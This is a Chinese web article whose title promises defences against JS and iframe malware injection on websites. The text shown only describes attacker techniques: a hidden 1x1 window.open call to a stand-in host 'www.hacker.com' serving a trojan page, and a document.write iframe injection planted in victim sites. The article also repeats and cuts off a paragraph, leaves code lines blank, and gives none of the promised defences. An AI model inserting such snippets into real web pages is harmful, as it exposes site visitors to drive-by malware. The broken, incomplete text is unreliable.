网站遭受JS与iframe挂马攻击时的全面有效防范措施
这种攻击手法，核心代码实际上只有一行： window open( "http: www hacker com 木马 html ", " ", "toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,
这种攻击手法，核心代码实际上只有一行：
window.open("http://www.hacker.com/木马.html","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");
然而，这类代码通常篇幅较长，安全工程师一眼就能识别。缺乏经验的黑客往往喜欢将 width 和 height 参数设为 0，以为这样更隐蔽——但问题在于，设为 0 之后，恶意代码可能根本无法正常执行。
另一种主流的 JS 挂马方式，是将挂马脚本代码 document.write('＜Iframe src="网页木马地址" ＞＜/iframe＞') 先写入 Windows 写字板，另存为后缀为 .js 的脚本文件，并上传至指定网址。随后，黑客只需在受害者的网站中插入以下任意一行代码：
或者：
document.write("")
木马便能成功植入目标网页。
小提示：黑客还会根据实际情况随机变换插入的 JS 挂马手法，例如写成：
或者：